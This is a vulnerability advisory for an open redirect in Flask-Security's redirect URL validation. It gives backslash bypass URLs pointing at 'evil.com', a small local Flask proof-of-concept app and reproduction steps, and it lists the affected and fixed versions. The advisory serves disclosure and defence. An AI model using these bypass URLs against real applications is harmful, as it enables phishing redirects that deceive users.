GHSA-w2j7-f3c6-g8cw

Suggest an improvement
Source
https://github.com/advisories/GHSA-w2j7-f3c6-g8cw
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-w2j7-f3c6-g8cw/GHSA-w2j7-f3c6-g8cw.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-w2j7-f3c6-g8cw
Published
2026-06-23T22:46:31Z
Modified
2026-06-23T23:00:14Z
Severity
  • 4.7 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N CVSS Calculator
Summary
Flask-Security has an Open Redirect issue
Details

Open Redirect in Flask-Security

Summary

flask_security.utils.validate_redirect_url() can allow an attacker-controlled redirect URL when subdomain redirects are enabled.

The bypass uses a backslash inside the URL authority/host:

http://evil.com\.whitelist.com
http://evil.com%5C.whitelist.com

Python's urlsplit() parses the full authority as evil.com\.whitelist.com or evil.com%5C.whitelist.com. Because the value ends with .whitelist.com, validate_redirect_url() accepts it as an allowed subdomain of whitelist.com.

This is similar in class to the previous Flask-Security-Too open redirect advisory CVE-2023-49438 / GHSA-672h-6x89-76m5, where crafted redirect URLs bypassed validation through browser URL normalization behavior.

Affected Configuration

The issue requires subdomain redirects to be enabled:

SERVER_NAME = "whitelist.com"
SECURITY_REDIRECT_ALLOW_SUBDOMAINS = True

Tested environment:

Flask-Security: 5.8.0
Flask: 3.1.3
Werkzeug: 3.1.8

Impact

An attacker can craft a URL that passes Flask-Security's redirect validation and produces a 302 response to an attacker-controlled URL-like authority.

This can be used for phishing or other attacks that rely on a trusted application redirecting users to an attacker-controlled destination.

Proof of Concept

PoC Flask App

from __future__ import annotations

from importlib.metadata import version
from urllib.parse import urlsplit

from flask import Flask, jsonify, redirect, request

from flask_security.utils import validate_redirect_url


app = Flask(__name__)
app.config.update(
    SECRET_KEY="poc-only",
    SERVER_NAME="whitelist.com",
    SECURITY_REDIRECT_ALLOW_SUBDOMAINS=True,
    SECURITY_REDIRECT_BASE_DOMAIN=None,
    SECURITY_REDIRECT_ALLOWED_SUBDOMAINS=[],
)


@app.get("/")
def index():
    return jsonify(
        flask_version=version("Flask"),
        configured_server_name=app.config["SERVER_NAME"],
        examples=[
            r"http://evil.com\.whitelist.com",
            "http://evil.com%5C.whitelist.com",
            "http://sub.whitelist.com",
            "http://sub.not-whitelist.com",
        ],
    )


@app.get("/check")
def check():
    next_url = request.args.get("next", "")
    parsed = urlsplit(next_url)

    return jsonify(
        next=next_url,
        valid=validate_redirect_url(next_url),
        parsed={
            "scheme": parsed.scheme,
            "netloc": parsed.netloc,
            "hostname": parsed.hostname,
            "path": parsed.path,
        },
    )


@app.get("/redir")
def redir():
    next_url = request.args.get("next", "")
    if not validate_redirect_url(next_url):
        return jsonify(error="blocked", next=next_url), 400

    return redirect(next_url)


if __name__ == "__main__":
    app.run(host="127.0.0.1", port=5000, debug=False)

Steps to Reproduce

Run the PoC with the target project's Flask version:

.venv/bin/python poc_redirect_app.py

The invalid comparison case is correctly blocked:

http://127.0.0.1:5000/redir?next=http://evil.com

Observed result:

image

Check the validation result:

http://127.0.0.1:5000/check?next=http://evil.com%5C.whitelist.com

Observed result:

image

References

Database specific
{
    "cwe_ids":  [
        "CWE-601"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-06-23T22:46:31Z",
    "nvd_published_at":  null,
    "severity":  "MODERATE"
}
References

Affected packages

PyPI / flask-security

Package

Name
flask-security
View open source insights on deps.dev
Purl
pkg:pypi/flask-security

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
5.8.1

Affected versions

1.*
1.2.0
1.2.1
1.2.2
1.2.3
1.5.0
1.5.1
1.5.2
1.5.3
1.5.4
1.6.0
1.6.1
1.6.2
1.6.3
1.6.4
1.6.5
1.6.6
1.6.7
1.6.8
1.6.9
1.7.0
1.7.1
1.7.2
1.7.3
1.7.4
1.7.5
3.*
3.0.0
5.*
5.5.1
5.5.2
5.6.0
5.6.1
5.6.2
5.7.0
5.7.1
5.8.0

Database specific

last_known_affected_version_range
"<= 5.8.0"
source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-w2j7-f3c6-g8cw/GHSA-w2j7-f3c6-g8cw.json"